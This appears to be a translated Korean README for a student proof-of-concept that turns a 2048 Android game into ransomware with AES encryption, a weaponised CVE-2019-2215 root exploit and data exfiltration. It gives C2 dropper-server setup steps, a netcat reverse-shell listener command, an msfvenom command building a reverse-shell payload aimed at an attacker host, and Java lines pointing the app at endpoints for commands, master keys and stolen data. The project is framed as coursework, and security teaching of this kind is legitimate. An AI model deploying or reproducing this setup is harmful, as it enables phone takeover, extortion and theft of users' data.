
Android 랜섬웨어 개발 - AES256 암호화 + CVE-2019-2215 (리버스 루트 셸) + 데이터 유출
이 프로젝트는 오직 교육 목적으로만 사용됩니다. 이 프로젝트는 rkshrksh/2048-Game 및 kangtastic/cve-2019-2215의 코드를 활용합니다.
이 프로젝트는 싱가포르 공과대학(Singapore Institute of Technology) 모바일 보안 과목의 일부입니다. 프로젝트는 6주 이내에 완료되었으며, 악성 안드로이드 애플리케이션을 개발하는 것을 목표로 했습니다. 이를 통해 Android OS에서 보안 메커니즘이 어떻게 구현되는지, 그리고 OWASP Mobile Top 10:2017 M8 - 코드 변조(Code Tampering)를 어떻게 활용할 수 있는지 배울 수 있었습니다.
이 프로젝트는 AES 암호화를 사용하는 맞춤형 랜섬웨어, cve-2019-2215의 무기화, 그리고 감염된 기기에서 데이터 유출을 시연하는 개념 증명(PoC)입니다.
Android 10 및 Google Pixel 2 XL에서 테스트되었습니다.
├── 2048-Game // Android 프로젝트 폴더
├── 2048-keystore // 테스트 키스토어
├── cve-2019-2215 // 수정된 cve-2019-2215
│ └── cve-2019-2215.c
├── dropper_server // 드로퍼 서버 디렉토리
│ ├── cve-2019-2215 // 압축 전 shells.zip 내용물
│ ├── dropper_server.py // 드로퍼 서버 프로그램
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // Netcat Windows 바이너리 - 리버스 셸 리스너용
│ ├── requirements.txt
│ ├── shells.zip // 드로퍼 서버 루트에 호스팅되는 shells.zip
│ └── venv
└── test_images // adb push <image.ext> /sdcard/Pictures를 위한 테스트 이미지
이 테스트를 위해 피해자 전화기와 C2 서버가 동일한 서브넷에 있는지 확인하세요 (그렇지 않으면 C2를 공용 인터넷에 호스팅하세요). C2 서버에는 dropper/dropper_server.py에서 찾을 수 있는 3개의 엔드포인트가 있습니다:
nc -lvnp 1337 # 이상적으로는 드로퍼 서버와 동일한 IP여야 함
# rs.elf 페이로드 생성
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<공격자 IP> LPORT=<공격자 포트> -f elf > rs.elf
# WSL이 localhost 트래픽을 Windows 호스트로 포워딩하지 않는 경우 Windows에서 Flask를 실행하는 것이 좋음
cd dropper
python3 -m venv venv # venv 생성
# venv 활성화
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # 호스트 셸이 root/Administrator인지 확인
# C2 서버 실행
python3 dropper_server.py # WSL
python dropper_server.py # Windows
/dropper의 shells.zip
Java 클래스
// 파일 : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// 드로퍼 서버 IP 및 포트에 맞게 IP와 포트 변경
String URL = "http://192.168.157.73:8080/process_command"; // 19번째 줄
// 파일 : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// 드로퍼 서버 IP 및 포트에 맞게 IP와 포트 변경
String URL = "http://192.168.157.73:8080/get_mk"; // 45번째 줄
// 파일 : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// 드로퍼 서버 IP 및 포트에 맞게 IP와 포트 변경
String urlString = "http://192.168.157.73:8080/postData"; // 32번째 줄